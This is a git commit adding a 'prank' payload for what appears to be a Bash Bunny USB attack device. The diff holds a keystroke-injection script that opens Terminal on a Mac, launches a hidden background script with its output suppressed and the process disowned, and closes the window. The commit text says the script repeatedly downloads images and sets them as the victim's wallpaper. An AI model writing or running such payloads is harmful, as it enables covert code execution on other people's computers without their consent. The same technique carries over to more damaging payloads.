Add macDesktop prank (#236)

* Add macDesktop prank

Runs a script in background that will download pictures of my little pony (or whatever else you'd like, just change the urls to the pictures) and randomly sets that as their desktop background every 45 minutes - 5 hours. You can change number in for loop to decide how many times it will change their background.

https://forums.hak5.org/topic/41605-payload-macwallpaper/

* Update readme

* Save process Id as file name to /tmp

Save process Id as file name to /tmp so that you can easily kill the prank if someone is screaming at you.

payloads/library/prank/macDesktop/payload.txt

@@ -0,0 +1,22 @@
+ATTACKMODE HID STORAGE 0xF000/0xFF02
+
+LED ATTACK
+
+Q GUI SPACE
+Q DELAY 200
+Q STRING terminal
+Q DELAY 100
+Q ENTER
+Q DELAY 1000
+Q GUI n
+Q DELAY 1000
+
+Q STRING bash \<\(cat \/Volumes\/BashBunny\/payloads\/switch1\/macWallpaper.sh\) \>\/dev\/null 2\>\&1 \& disown
+
+Q ENTER
+
+Q GUI W
+
+Q ENTER
+
+LED FINISH